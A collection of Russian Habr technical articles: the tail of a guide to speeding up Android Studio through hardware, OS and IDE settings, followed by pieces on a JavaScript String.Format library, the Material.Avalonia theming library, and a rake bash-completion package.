По производительности процессора- очевидно и понятно. Чем она выше- тем лучше. Единственное, что нужно отметить- при наличии достаточно быстрого накопителя, слабый процессор станет "бутылочным горлышком" в Вашей системе. Особенно критично в случае NVMe-накопителя. Часто, при работе с ним, упор идет именно в мощности CPU.
С потоками всё немного сложнее. Читал о том, что пользователи снижают приоритет студии и ее подпроцессов, чтобы ОС "не зависала" во время сборки. Причина здесь одна- 1-2 аппаратных потока. Этого мало не только для IDE, но и для современной ОС. Единственное "но"- на моей практике были ситуации, когда двухъядерные U-процессоры с Hyper Threading (то есть 2 ядра на 4 потока) нормально работали с относительно мелкими проектами, но на крупных начинались вышеперечисленные проблемы.
Само собой, наличие аппаратной виртуализации обязательно.
Потому рекомендую смотреть в сторону Core i5 HQ Skylake c 4+ потоками и мощнее.
#### Оперативная память
По поводу стандартов- DDR3 и выше. Тут, думаю, понятно.
Если есть возможность работы в 2х или 4х-канальном режиме и у Вас они не активны- настоятельно рекомендую задействовать, так как можно получить существенную прибавку к отзывчивости IDE. Активируется эта возможность либо в настройках BIOS\UEFI, либо установкой дополнительных модулей оперативной памяти (если у Вас до сих пор один модуль).
Какой нужен объем? Для мелких (действительно мелких) проектов хватает 4ГБ. На проектах крупнее студия способна быстро занять 4ГБ памяти и больше. Добавим сюда эмулятор на HAXM (скажем 2 ГБ) и учтем, что современная ОС (за исключением некоторых дистрибутивов Linux) занимает в памяти около 2ГБ- и вот получается, что 8ГБ уже "впритык".
Это без учета, например, Slack (который занимает в среднем около 500 мб в памяти) и Chrome (там счет идет на гигабайты).
В целом, при 8ГБ оперативной памяти работать быстро и комфортно можно- спасает быстрый накопитель и swap\файл подкачки. Но стоит задуматься об апгрейде.
Потому компания закупает новые, либо предоставляет апгрейд текущих рабочих машин на 12ГБ RAM и более.
#### SSD
Дисковая подсистема является самым частым "бутылочным горлышком", потому на нее надо обращать внимание в первую очередь.
Работа с Android Studio на HDD в 2018 году сравнима с мучениями- чем больше проект, тем больше фризов Вам обеспечено. Потому, очевидно, использовать только SSD.
Как было упомянуто выше, здесь два критичных параметра:
* Скорость произвольного чтения и произвольной записи дисковой подсистемы
* Скорость мелкоблочного чтения и мелкоблочной записи дисковой подсистемы
Чем они выше- тем отзывчивее будет студия, и тем быстрее она будет загружаться и производить сборку.
Обращаю Ваше внимание, что о скоростях линейного чтения\записи речи не идет- для студии это не критично. Потому, при выборе накопителя, нужно смотреть не на его скорость чтения\записи на сайте производителя или магазина, а на количество [IOPS](https://ru.wikipedia.org/wiki/IOPS) (чем больше- тем лучше).
Само собой, здесь не идет речи о Mac, так как там накопитель либо имеет собственный стандарт либо просто распаян на плате. Замена возможна, разве что, на больший объем. Скоростные характеристики здесь поднять вряд ли получится.
#### NVMe
Если Вашей материнской платой поддерживается технология [NVMe](https://ru.wikipedia.org/wiki/NVM_Express) — то лучше использовать накопитель с ее поддержкой. Она позволяет получить скорости, сравнимые с SSD на Mac и выше.
При наличии скоростного накопителя, упор идет на шину PCIe и мощности Вашего CPU. Потому, если, например, Ваша материнская плата поддерживает вывод на накопитель PCIe 2.0x4\3.0x2 или у Вас не очень мощный CPU- не стоит покупать очень дорогой накопитель. Смотрите на возможности Вашей системы и толщину Вашего кошелька.
#### SATA3
Да, SATA3 живее всех живых. И на нем можно быстро работать на студии.
В этом сегменте скоростные накопители более доступны, потому имеет смысл сразу смотреть на топовые решения объемом 120 GB и выше.
#### Intel Optane
Использовать Android Studio на машине с данным накопителем (если его так можно назвать) мне не приходилось. Если у кого-то есть опыт- пишите в комментарии.
#### GPU
Тут много говорить не нужно.
Если пишете обычные пользовательские приложения- для самой студии и эмулятора чего-то вроде Intel HD 500 Series хватит за глаза.
Если Вы разрабатываете игры или это- Ваша личная машина, то имеет смысл дискретная графика. Какая- смотрите по Вашим потребностям.
#### Система охлаждения и троттлинг
Здесь речь не о апгрейде, а о обслуживании.
Большинству из нас известно такое явление, как [троттлинг](https://ru.wikipedia.org/wiki/%D0%94%D1%80%D0%BE%D1%81%D1%81%D0%B5%D0%BB%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D1%82%D0%B0%D0%BA%D1%82%D0%BE%D0%B2). Его реализацию применяют для защиты от перегрева.
Само собой, троттлинг ведет к понижению производительности. Не всегда заметному. В одних случаях работа Turbo Boost снижается до минимальных значений, в других начинается падение максимальных частот процессора. Причина- недостаточно эффективная работа системы охлаждения. Так же важно понимать, что большинство стресс-тестов (вроде AIDA) диагностируют штатную работу Turbo Boost как троттлинг.
В случае десктопных PC всё давно есть в сети. В случае мобильных систем, основанных на тепловых трубках, много противоречивой информации. Сюда относятся большинство ноутбуков, неттопов, MacBook и iMac. Далее речь пойдет именно о них.
На современных мощных мобильных CPU 80-90 градусов на кристалле под нагрузкой- это норма. При этом SOC с этими CPU имеют конструкцию с открытым кристаллом, от того площадь теплопередачи небольшая. Вся эта куча тепла отводится ~~вот этим посмешищем~~ подобной конструкцией с небольшим закрытым жидкостным контуром.
**Современная мобильная система охлаждения**
Нужно понимать, что такие системы охлаждения испытывают бОльшие нагрузки и нуждаются в более частом обслуживании. Особенно в случае ноутбуков и MacBook- при переноске от вибраций слой засохшей термопасты разрушается быстрее. А несвоевременное обслуживание чревато не только потерей производительности, но и протечкой термотрубок и "отвалами" кристаллов.
Обслуживание заключается в замене термопасты и чистке радиатора раз в полгода-год после окончания гарантийного срока. Во всяком случае, у нас так и поступают.
Из-за маленькой площади кристалла имеет смысл использовать диэлектрическую термопасту с высокой теплопроводностью (такая стоит в районе 800-1000 р за грамм). **Ни в коем случае не используйте жидкий металл! Иначе отделить кристалл от пластины Вы, скорее всего, уже не сможете!**
Если у Вас не хватает навыков для данной процедуры- лучше обратитесь в сервис.
Аппаратные настройки
--------------------
В этой главе речь пойдет о функциях и настройках оборудования. Многое, скорее всего, Вам уже знакомо.
#### Intel Hyper Threading
Это технология Intel, которая разделяет аппаратный поток ядра на два "виртуальных". Благодаря ей система видит 4-ядерный процессор как 8-ядерный. Такой подход позволяет эффективно утилизировать процессорные мощности. Аналогичная технология есть и у AMD.
Часто сталкиваюсь с тем, что у многих разработчиков эта функция отключена и они вообще о ней не знают. Однако, ее включение может повысить отзывчивость студии и производительность сборки. В отдельных случаях на 10-15%.
Включается она в настройках BIOS\UEFI Вашей материнской платы или ноутбука. Называется пункт аналогичным или похожим образом. Если Вы еще не знали о этой технологии- то имеет смысл проверить ее наличие и включить если этого не было сделано.
#### Intel Turbo Boost
Еще одна широко известная технология. По факту является автоматическим кратковременным разгоном CPU и дает существенный прирост при сборке. И, в то же время, имеет свойство раскалять мобильные процессоры до температур, не далеких от [Tjunction](https://www.reddit.com/r/intel/comments/4a7nml/is_tjunction_the_maximum_safe_temperature/).
Потому, если эта технология ранее была отключена, перед включением желательно проверить состояние системы охлаждения и, возможно, выполнить ее обслуживание, о чем было написано в предыдущей главе.
Включаться она может как BIOS\UEFI, так и в настройках ОС.
#### Intel Rapid Storage
Поддержка этой технологии мат.платой крайне рекомендуется. Более подробно можно почитать [здесь](https://www.intel.ru/content/www/ru/ru/architecture-and-technology/rapid-storage-technology.html).
Могу порекомендовать только своевременно обновлять драйверы для этой технологии до самой свежей версии с официального сайта Intel. Даже если производитель Вашего ноутбука поставляет Вам драйверы более старых версий.
В моем конкретном случае, обновление с версии драйвера от производителя до актуальной, повысило скорость линейной записи примерно на 30%, а произвольной- на 15%.
Как устанавливать и обновлять драйверы IRST на Linux- я не знаю (и вообще, возможно ли это?). Если кто знает- пишите в комментарии, я с удовольствием дополню статью.
#### SSD Secure Erase
Производительность недорогих моделей SSD может со временем падать. Это не всегда происходит из-за "деградации" накопителя. Возможно, в Вашей модели [TRIM](https://ru.wikipedia.org/wiki/TRIM) реализован не очень эффективно.
Secure Erase заставит контроллер пометить все ячейки памяти пустыми, что, теоретически, должно вернуть производительность SSD к заводскому состоянию. **И, также, сотрет все Ваши данные! Будьте аккуратны, делайте бекапы!**
Осуществить процедуру можно с помощью фирменной утилиты от производителя. В случае, если Ваш диск- системный, то Вам понадобится флешка, которую утилита сделает загрузочной. Далее следуйте инструкциям.
На одном из этапов, возможно, накопитель придется переподключить прямо во время работы. Потому, в случае M.2 очень желательно наличие переходника.
Использовать сторонние утилиты для этой операции крайне не рекомендуется.
Впрочем, если Ваш SSD существенно потерял в скорости за время менее года- лучше поменять накопитель на другую модель.
#### Аппаратная виртуализация
Эта технология необходима для быстрой работы x86-эмулятора. Если у Вас она отключена- включите ее в настройках BIOS\UEFI. У разных вендоров могут быть разные названия настроек.
Да, мы все знаем про Genymotion и BlueStacks, которые прекрасно обходятся без аппаратной виртуализации. Однако, в образах этих эмуляторов некоторые или многие реализации Android API сильно изменены с целью увеличения скорости работы. Это может провоцировать поведение, которое Вы никогда не встретите на реальном устройстве. Или при отладке Вы можете упустить пару багов. Потому наличие рабочего и шустрого AVD крайне желательно.
ОС и Сторонний софт
-------------------
В этой главе речь пойдет о возможной настройке ОС и установке стороннего софта с целью увеличения производительности.
#### Индексация
Здесь речь пойдет о поиске Windows и Spotlight на Mac OS. Эти механизмы могут отнимать до 15% мощностей CPU при сборке поскольку пытаются индексировать всё, что генерируется в /build.
Само собой, из под индексации необходимо исключить все директории, с которыми работает студия:
* Директория SDK
* Директория студии
* Директория проектов (крайне рекомендуется)
* ~/.gradle
* ~/.android
* ~/Android StudioX.X
* ~/lldb
* Директория кеша Kotlin
#### Антивирус
Знаю, не у всех в среде разработки принято использовать антивирус. Но многие его используют. В том числе, иногда, на Linux и Mac OS. И его использование совершенно оправдано.
Даже если у Вас Windows 10 и нет антивируса- его функции выполняет Windows Defender.
При сборке антивирус может отнимать очень существенную долю CPU. Потому все директории, перечисленные в графе "Индексация", следует добавить в исключения антивируса. Также, в исключения имеет смысл добавить имена процессов самой студии и JetBrains JVM.
В зависимости от реализации антивируса, потребление CPU им во время сборки снизится существенно, либо он вообще перестанет потреблять мощности CPU. А время самой сборки заметно уменьшится.
#### Шифрование диска или домашней директории
Эти функции присутствуют на всех популярных ОС или реализуются сторонним софтом. Само собой, работа студии в шифрованном файловом пространстве может требовать бОльших мощностей CPU. Насколько- зависит от реализации шифрования. Потому рекомендуется такие функции отключать либо совсем, либо, если это возможно, для перечисленных в графе "Индексация" директорий.
#### А работает ли TRIM?
[TRIM](https://ru.wikipedia.org/wiki/TRIM) может быть реализован как аппаратно, так и программно. В последнем случае обязанность вызова TRIM ложится на ОС. И, по разными причинам, периодический вызов может отключаться, что приводит к падению скорости накопителя.
Проверить работоспособность и возобновить вызовы TRIM можно с помощью специализированных утилит. Рекомендуется использовать утилиты от производителя накопителя.
#### RAMDisk
Что такое [RAMDisk](https://habr.com/company/kingston_technology/blog/395315/) большинству давно известно. Но насколько он эффективен в работе со студией?
По своему опыту скажу- не очень. Разве что Вы перенесете в RAMDisk сам проект, SDK, студию и так далее. Если у вас хватает RAM...
С простым переносом проекта весом в более чем 500 мб (цифра указана с build-кэшем), у меня не получалось добиться прироста более 15%. По всей видимости, тормозятся вызовы к SDK и системным API. В итоге такой прирост обходится достаточно дорого.
Следующий способ существенно эффективнее и обходится куда дешевле.
#### Кэширование запросов к накопителю
Нечто похожее реализовано в Mac OS. Однако, в сравнении с перечисленными ниже технологиями- не настолько эффективно.
К сожалению, мне известны только две реализации, и обе жестко завязаны на продукцию производителей. Речь о [Samsung R.A.P.I.D.](https://www.windowscentral.com/samsung-ssd-rapid-mode) и [PlexTurbo](http://www.goplextor.com/ru/Others/plexturbo).
Обе технологии работают по схожим принципам (описываю так, как понял сам):
* Если был запрос на чтение небольших объемов, то они откладываются в RAM и при повторном чтении берутся уже оттуда. Стандартный RAM cache.
* Если был запрос на запись небольших данных- они откладываются в RAM-кэш. Далее запросы на запись сравниваются с кэшем. Если Вы повторно пишете одни и те же данные по одним и тем же путям- зачем их повторно записывать аппаратно? И SSD так дольше проживет.
Единственная разница- R.A.P.I.D. использует свободный остаток оперативной памяти в качестве кэша. Меньше остаток- меньше размер кэша, меньше ускорения. PlexTurbo позволяет ограничить максимальный объем кэша и подгружать его с жесткого диска при старте системы.
В случае использовании на SATA 3 можно получить прирост до 50%. При использовании NVMe-накопителя- меньше, но, часто, тоже существенный.
В данный момент у меня в работе Samsung 860 EVO SATA 3. Под спойлером бенчмарки с i7 6700HQ и отключенным Turbo Boost.
**860 EVO до включения R.A.P.I.D. и два прогона после**R.A.P.I.D. выключен
Первый прогон
Второй прогон
Наглядно видно, как система начинает кэшировать данные на первом прогоне. Итоговый результат существенно выше показателей SATA 3. Однако, эффективность работы данной технологии больше зависит от мощностей CPU. Что наглядно видно при включении Turbo Boost.
**860 EVO + R.A.P.I.D. + Turbo Boost**
Синтетика- это, конечно, хорошо. Но это всё работает при чтении\записи повторяющихся мелких файлов. И это- самые частые операции при работе Android Studio.
У меня сейчас в работе проект суммарным с кэшем весом более 700 MB, состоящий из 10 модулей. Один из модулей- собственный кодогенератор на базе kapt с весьма тяжелой логикой. Два NDK-модуля, один из которых ссылается на Boost по внешнему пути. Остальное- тонны Kotlin-кода.
Если сравнить время полного ребилда данного проекта, то результаты следующие:
* С выключенным R.A.P.I.D. время составило 1m 47s 633ms. Терпимо.
* С включенным R.A.P.I.D. первый ребилд прошел за 1m 41s 633ms. Укладывается в погрешность.
* С включенным R.A.P.I.D. второй ребилд прошел за 1m 7s 132m. Вот и прирост. Чуть больше 37%, что существенно. Дальнейшие ребилды показывают еще меньшее время но уже с разницей не более 3-5 секунд от последнего замера. Что несущественно.
В менее длительных процессах прирост в студии заметен сразу.
Как итог можно рекомендовать эти технологии и накопители как хороший способ повысить производительность. По стабильности нареканий не возникало.
Android Studio
--------------
Многие из этих советов взяты [отсюда](https://developer.android.com/studio/build/optimize-your-build) и дополнены моими комментариями. Остальные- результат моих изысканий и опыта.
#### Обновления
Совет хоть и банальный, но всегда актуальный. Если у Вас не legacy-проект, то, по-возможности, старайтесь держать версии студии и сопутствующих компонентов (таких как Gradle, Android Plugin, Kotlin Plugin) в актуальном состоянии. Google и JetBrains делают много работы в плане оптимизации скорости работы и сборки в новых версиях.
Иногда, конечно, случаются конфузы, когда новые версии перестают вести себя предсказуемо и провоцируют ошибки. Потому у нас есть регламент, как поступать в таких ситуациях.
В некоторых случаях нужно выполнить File->invalidate caches and restart после отката. Если обновляете саму студию- лучше сделать бекап директории студии и директории настроек. Это актуально в том случае, если Ваш проект содержит какие-либо ~~костыли~~ нестандартные подходы, чувствительные к механизмам сборки или самой студии.
#### Структура проекта
При возможности, старайтесь выносить большие части Вашего проекта, которые общаются с основным кодом посредством API, в отдельные library-модули. Это позволит задействовать функцию инкрементальной сборки. Она позволит не пересобирать неизмененные модули и, тем самым, существенно сократить время билда.
Однако, не возводите всё в абсолют. Выносите компоненты в модули осмысленно, думайте своей головой.
#### Instant Run
Совет больше для новичков. Эта функция позволяет подменять байткод и ресурсы в уже установленном приложении "на лету". Само собой это существенно уменьшает время отладочной сборки. В новых версиях студии включена по-умолчанию.
Однако, по моему опыту и опыту моих коллег, эта функция работает корректно не всегда. Зависит больше от проекта и вносимых Вами изменений. Потому, если после сборки Вы не увидели изменений или Ваш код стал работать некорректно- прежде чем искать баг, попробуйте отключить Instant Run.
Включить и отключить функцию можно в меню Build, Execution, Deployment -> Instant Run флагом Enable Instant Run.
#### Attach to Process
Тоже совет банальный и для новичков. С удивлением обнаружил, что некоторые джуны (а иногда даже мидлы) об этой функции не знают. Она позволяет подключиться к уже запущенному на устройстве процессу для отладки тем самым пропуская этап сборки.
Потому, если на устройстве актуальный билд и перед отладкой никаких изменений вносить в код не требуется- смело жмем Attach debugger to Android process.
#### Gradle build configs
При возможности, если на Вашем основном рабочем buildConfig или flavour есть компоненты, которые используются только в release-сборках (например, crashlytics, различные annotation-процессоры или собственные gradle-процедуры)- отключите их для debug или для Вашего отладочного конфига. Как это сделать- можно найти [здесь](https://developer.android.com/studio/build/optimize-your-build), либо на официальных страницах компонентов, либо просто загуглите.
В случае, если у Вас кастомный buildConfig, то для него следует отключить PNG crunching, так как по-умолчанию эта опция выключена только для debug-конфига. Эта опция применяет компрессию к png при сборке. Отключить ее можно следующим образом:
```
android {
buildTypes {
myConfig {
crunchPngs false
}
}
}
//Для старых версий android plugin
android{
aaptOptions {
cruncherEnabled false
}
}
```
#### WebP
Если minimum api level Вашего проекта больше 18, то имеет смысл конвертация изображений в WebP. Этот формат более компактный, быстрее читается и к нему не применяется компрессия во время сборки. Потому конвертация всей растровой графики в проекте рекомендуется всегда. Соответственно, чем больше растра в Вашем проекте- тем меньше время сборки после конвертации.
#### Параллельная сборка
Если Ваш проект содержит несколько независимых модулей (например, несколько app-модулей), то для него будет актуальной опция Compile independent modules in parallel в Settings->Build, Execution, Deployment -> Compiler. Это позволит более эффективно утилизировать потоки CPU при сборке. Минус- больший heap size и, как следствие, больший расход оперативной памяти.
Так же эту опцию можно включить посредством строчки в gradle.properties
`org.gradle.parallel=true`
#### Gradle daemon
Эта опция в свежих версиях студии включена по-умолчанию и этот совет для тех, кто до сих пор ее не задействовал.
Данная опция позволяет держать отдельный инстанс jvm и gradle в оперативной памяти в течении трех часов с момента последней сборки. Таким образом не тратится время на их инициализацию и наращивание кучи. Минус- больший расход оперативной памяти. Включается строчкой в gradle.properties
`org.gradle.daemon=true`
#### Offline-сборка
При сборке Gradle периодически проверяет web-ресурсы зависимостей, чтобы их разрешить. Можно отключить данное поведение. Этот совет подходит для тех, кто имеет медленное интернет-соединение или соединение с большими задержками.
В меню Build, Execution, Deployment -> Gradle отмечаем чекбокс Offline work.
#### Увеличение heap size Android Studio или IDEA
Такая опция пригодится для больших проектов. По умолчанию в студии указан xmx1280m (тем не менее, вместе с подпроцессами студия поглощает RAM сильно больше). Маленький максимальный размер кучи может провоцировать более частые вызовы GC и, тем самым, замедлять работу.
Увеличить стартовый heap size можно как самой студии, так и Gradle.
Для Gradle пишем в gradle.properties
`org.gradle.jvmargs=-Xms1024m -Xmx4096m`
что соответствует 1ГБ стартового размера кучи и максимума в 4 ГБ для наращивания. Подберите размер в соответствии с ресурсами, которые хотите выделить из доступных Вам.
Для самой Android Studio или IDEA идем в меню Help -> Edit Custom VM Options и пишем те же JVM-параметры с нужными Вам объемами.
Этими же способами можно корректировать поведение JVM в случае, если у Вас возникают с ней какие-либо сложности. Полный список аргументов можно получить с помощью команды `java -X`.
#### Плагины
Нет каких либо плагинов, которые могут ускорить IDE. А вот избавиться от пары-тройки можно. Это может повысить отзывчивость или уменьшить время запуска. Особенно если Вы установили несколько сторонних.
Конкретных рекомендаций здесь давать не буду- потребности у всех разные. Просто идете в Settings -> Plugins и отключаете то, что вам не нужно, внимательно прочитав описание и очень хорошо подумав. Не факт, что Вам вообще нужно что-то отключать.
#### Inspections
Отключение некоторого количества пунктов в меню Settings -> Editor -> Inspections может повысить отзывчивость IDE. Иногда существенно.
Здесь тоже не будет конкретных рекомендаций, отключайте с умом. Помните- Вы не робот и допускаете ошибки, а инспекции помогают Вам их избежать.
#### Power Save mode
Активация этого режима находится в меню File. В нем отключаются все фоновые процессы (индексация, статический анализ кода, Spell Checking и т.д.). И студия начинает вести себя заметно шустрее. Но и по функционалу становится не сильно лучше, например, VS Code.
В общем режим для ситуаций, когда всё совсем плохо.
#### Settings Repository
Этот совет не о быстродействии, а о комфорте. Ваши настройки удобнее будет хранить в отдельном репозитории и использовать эту функцию. При переезде на другую машину это удобно.
Если Вы работаете в команде с утвержденным codestyle- то новому разработчику будет удобно сделать свою ветку в Git, поменять в ней copyright и настройки для своей машины, и использовать те же настройки codestyle вместе со всеми остальными.
Можно, конечно, коммитить .idea в репозиторий, но это- плохой подход.
#### AVD
С самого начала своего существования AVD был неповоротлив и прожорлив. В последние 3 года он был сильно усовершенствован, что позволило запускаться и работать на современных машинах относительно быстро (хотя бы в x86-варианте).
И тем не менее, даже сегодня x86-версия Pie на AVD умудряется тормозить. Даже на мощных железках. Ниже представлены варианты, как исправить ситуацию.
Само собой, включение аппаратной виртуализации и установка [HAXM](https://software.intel.com/en-us/articles/intel-hardware-accelerated-execution-manager-intel-haxm) с выделением минимум 2 ГБ RAM обязательны.
В случае, если AVD сильно загружает CPU и при этом тормозит- боюсь, уже ничего не сделать. Однако, если нагрузка на CPU остается не высокой- значит дело в графической подсистеме.
Чаще всего это происходит из-за некорректного определения наиболее подходящего для Вашей машины рендера. Вы можете вручную выбрать наиболее подходящий в меню Settings -> Advanced эмулятора. Конкретные настройки подсказать не смогу, так как всё зависит от конфигурации железа и ОС. Просто смените пункт, закройте эмулятор и вызовите Cold Boot. Остановитесь на наиболее подходящем для Вас варианте.
**Меню выбора рендера в AVD**
При наличии дискретного GPU можно попробовать запустить эмулятор на нем, так как по-умолчанию эмулятор запускается на том же GPU, который обрабатывает рабочий стол. Делается это так же, как и с любой игрой. После не забудьте вызвать Cold Boot.
Итог
----
Так или иначе, не все перечисленные пункты обязательны к применению. Старайтесь решать проблемы по мере их обнаружения.
Время- самый ценный ресурс. Надеюсь, этот материал поможет Вам более продуктивно его расходовать. | https://habr.com/ru/post/433604/ | null | ru | null |
# String.Format
Те, кто пишут на C# очень хорошо знают и часто используют механизм String.Format, которого сильно не хватает в JavaScript. Несмотря на его простоту и удобство, на просторах Сети мало что можно накопать, в основном вариации на тему sprintf (привет сишникам). Достаточно давно был написан скрипт, который позволял форматировать строки на JavaScript и был похож на String.Format C#. Форматирование стало использоваться коллегами достаточно плотно в скриптах и я решил немного причесать код и опубликовать для тех, кто хочет получить String.Format в JavaScript.
#### Итак, основные возможности:
* Маркеры как в C#: `{0}`
* Можно задавать используемую функцию форматирования: `{0:d}`
* Можно передавать параметры функции форматирования: `{0:n(,2)}`
* Можно регистрировать свои функции форматирования
* Небольшой размер — 3.5Кб в упакованном виде
* Работает быстро
* Работает в IE, Chrome, Firefox (проверено), теоретически ничего не мешает работать в серверном JavaScript
* Уже реализованы и встроены функции форматирования:
+ Форматирование массивов
+ Форматирование чисел
+ Форматирование даты и времени
#### Использование
Использовать можно 2-мя способами:
1. Как в C#:
> `**var** s = String.Format(format, arg0**[**, arg1**[**, arg2**[**...**]****]****]**);`
2. Как функция у любой строки:
> `**var** s = 'format string {0}'.format(arg0**[**, arg1**[**, arg2**[**...**]****]****]**);`
##### Правила для маркеров
`{0}` — значение будет преобразовано в строку по правилам JavaScript
`{0:f}` — значение будет преобразовано в строку с помощью функции, зарегистрированной под именем f
`{0:f(p1,p2)}` — значение будет преобразовано в строку с помощью функции, зарегистрированной под именем f и этой функции будут переданы параметры p1 и p2 в массиве, количество и правила для параметров зависят от самой функции, однако есть несколько общих правил:
1. Параметры разделяются запятыми
2. Все знаки в круглых скобках значимы т.е. для `{0:f(p1,p2)}` будет передано ['p1', 'p2'], а в случае `{0:f(p1, p2)}` будет передано ['p1', ' p2']
3. Для маскирования запятой и закрывающей круглой скобки нужно использовать слэш: `{0:f(p1\, p2)}` будет передано ['p1, p2']
4. Параметры можно пропускать: для `{0:f(,p2)}` будет передано ['', 'p2']
5. Можно использовать вложенные маркеры: для `{0:f({1})}` будет передано ['значение\_из\_параметра\_с\_индексом\_1'], в этом случае форматирование недопустимо, а значение передается то же, что было передано функции format
##### Функции форматирования
Все функции форматирования получают 2 параметры: значение, которое нужно отформатировать и массив параметров. Вот так рекомендуется регистрировать функции форматирования:
> `(**function**(format)
> **{**
> // Регистрация функции форматирования
> // name - имя для использования в маркерах
> // v - значение для форматирования, в функцию будет передано так же, как его передали в функцию format
> // params - массив параметров, всегда есть, но межет быть нулевого размера
> // Функция обязана вернуть строку, которая будет подставлена вместо метки
> format.add(name, **function**(v, params)
> **{**
> **return** ...;
> **}**);
> **}**)(String.prototype.format);`
##### Встроенные функции форматирования
В скрипте уже встроены функции форматирования для чисел, массивов и дат.
`{0:n}` — форматирование числа, если в функцию пришло не число, то будет выведено NaN. Вид чисел 1.11111111e+20 будет преобразован в нормальный: 111111111000000000000. Можно передавать строки с числом: '1.67' или '123.456e+2' — будет вставлено соответственно 1.67 и 12345.6.
`{0:n([i][,f])}` — форматирование числа с заполнением нулями до нужного числа разрядов.
i — количество разрядов для целой части, если в целой части больше разрадов, то они остаются на месте, если меньше — в начале будет вставлено нужное число нулей.
f — количество разрядов для дробной части, лишние числа будут отброшены.
Параметры можно пропускать: {0:n(,2)} — вывести число с 2-мя знаками в десятичной части.
`{0:df([f])}` — произвольное форматирование даты, f — строка формата с подстановками, возможные подстановки:
* yy или yyyy — Год, всегда выводится 4 знака.
* M или MM — Месяц, 1 или 2 знака
* d или dd — День, 1 или 2 знака
* H или HH — Часы, 1 или 2 знака в 24-часовом формате
* m или mm — Минуты, 1 или 2 знака
* s или ss — Секунды, 1 или 2 знака
* f...ffff — Миллисекунды, от 1 до 4 знаков
##### Более полная документация, где скачать скрипт
Собственно все есть тут: [полное описание встроенных форматов, тестовый скрипт, исходники и упакованная версия](http://dema.ru/string.format/)
Скрипт для работы не требует никаких дополнительных библиотек и разбит на 3 части:
1. Собственно реализация основного кода форматирования
2. Форматирование чисел
3. Форматирование даты/времени
Для уменьшения скрипта можно удалить оттуда вторую и(или) третью части.
В исходнике достаточно комментариев, что бы понять, как он работает.
[](http://dema.ru/syntax/) | https://habr.com/ru/post/83185/ | null | ru | null |
# Эволюция Material Design для AvaloniaUI
Material.Avalonia — быстрый способ стилизовать под Material Design приложение, написанное на AvaloniaUI — кросс-платформенном XAML фреймворке для .NET.
Примерно с год назад на Хабре уже была [статья](https://habr.com/ru/news/t/475256/) о нашей библиотеке, однако с этого момента изменилось многое: мы избавились от встроенных тем, переделали стандартные и добавили свои элементы управления.
Сейчас наше демо приложение выглядит вот так:
**Еще примеры приложений, использующих Material.Avalonia**
#### Начало использования
Сначала установим необходимый [Nuget пакет](https://www.nuget.org/packages/Material.Avalonia/):
```
dotnet add package Material.Avalonia
```
После этого изменим файл `App.xaml`, если нам нужно стилизовать все приложение. Либо, если нужно изменить оформление только одного окна или другого элемента управления, то вместо `Application.Styles` (`Application.Resources`) у нас будут `Window.Styles` или `UserControl.Styles` соответственно.
```
```
Все, после этого все наше приложение будет использовать стили Material Design.
Однако, не все элементы управления уже стилизованы. Если некоторые из них не работают, то измените `Application.Styles` следующим образом:
```
```
Данное изменение добавит стандартные темы контролов Avalonia "под" темы Material.Avalonia.
#### Темы
За последние 2 месяца мы полностью переписали темы, и, избавились наконец от предварительно заготовленных наборов тем.
Теперь для настройки темы по умолчанию нужно модифицировать свойства `BundledTheme` в `App.xaml`.
Базовая тема может быть светлой — `Light`, темной — `Dark` и наследуемой — `Inherit`. Последний вариант будет пытаться получить тему, используемую системой, но в данный момент это еще не реализовано.
`BundledTheme` поддерживает задание всех, доступных в Material Design, "стандартных" цветов.
Смена цвета, например на `Teal`, из кода происходит подобным образом:
```
var paletteHelper = new PaletteHelper();
var theme = paletteHelper.GetTheme();
theme.SetPrimaryColor(SwatchHelper.Lookup[(MaterialColor) PrimaryColor.Teal]);
paletteHelper.SetTheme(theme);
```
Однако, через код можно задать вообще любой пользовательский цвет из RGBA.
Про работу с цветами темы я напишу отдельную статью.
#### Кастомные контролы
##### Card
[Спецификация](https://material.io/components/cards) на сайте Material Design
Для Card можно менять размер тени используя Attached Property:
```
...
```
##### ColorZone
Цветовая зона позволяет легко переключать цвета фона и переднего плана из выбранной палитры Material Design или пользовательских цветов.
```
Accent
```
##### FloatingButton
```
```
#### Тени
В Avalonia поддержка теней "из коробки" ограничена заданием `BoxShadows` для `Border`.
Однако уже реализован AttachedProperty `ShadowAssist`, который может быть использован для `Card`, `FloatingButton` и `Border`.
Когда для `Border` задается `ShadowAssist.ShadowDepth` то он самостоятельно корректирует `BoxShadows` для соответствия выбранному уровню ShadowDepth.
Так-же есть `ShadowAssist.Darken`, позволяющий затемнять уже существующую тень и делающий это с анимацией. Таким образом сделано изменение тени, при наведение на кнопки.
Демонстрация Card с разными ShadowDepth
Многое уже сделано, еще больше — запланировано.
Ознакомиться или помочь с разработкой можно на [GitHub](https://github.com/AvaloniaUtils/material.avalonia)
Скачать пакет на [NuGet](https://www.nuget.org/packages/Material.Avalonia/)
Issue/PR и просто отзывы категорически приветствуются.
Поддержку от разработчиков Avalonia и всех сочувствующих можно получить в [Telegram (ru)](http://t.me/avalonia) и [Gitter (en)](https://gitter.im/AvaloniaUI/Avalonia), а документация по стилизации элементов управления доступна [тут](https://avaloniaui.net/docs/styles/styles). | https://habr.com/ru/post/528620/ | null | ru | null |
# Автозавершение для Rake
Автозавершение в bash’е по Tab’у — это невероятно удобная вещь. И оно точно нужно для [rake](http://rake.rubyforge.org/), которым каждый программист на Ruby пользуется часто.
Особо ленивые программисты уже давно прописали [самодельные скрипты](http://github.com/ryanb/dotfiles/blob/master/bash/completion_scripts/rake_completion) в своих `.bashrc`. Но настоящий дзен-программист не должен любить велосипеды и чтит репозитории и пакеты. Поэтому я собрал скрипт в пакет и выложил в [Ubuntu on Rails PPA](https://launchpad.net/~ubuntu-on-rails/+archive/ppa).
#### Установка
##### Ubuntu
1. Добавляем [Ubuntu on Rails PPA](https://launchpad.net/~ubuntu-on-rails/+archive/ppa):
`$ sudo add-apt-repository ppa:ubuntu-on-rails/ppa`
2. Устанавливаем пакет `rake-completion`:
`$ sudo apt-get install rake-completion`
##### Другие UNIX
1. Клонируем репозиторий:
`$ git clone git://github.com/ai/rake-completion.git`
2. Копируем скрипт в системную папку:
`$ sudo cp rake-completion/rake /etc/bash_completion.d/`.
#### Подробности
Задачи Rake кешируются в `.rake_tasks~` в папке проекта, поскольку, например, в Rails Rakefile запускается очень медленно, так как сначала загружает всё окружение проекта.
Чтобы кеш и резервные копии не попали в git-репозиторий просто добавьте в .gitignore: `*~`
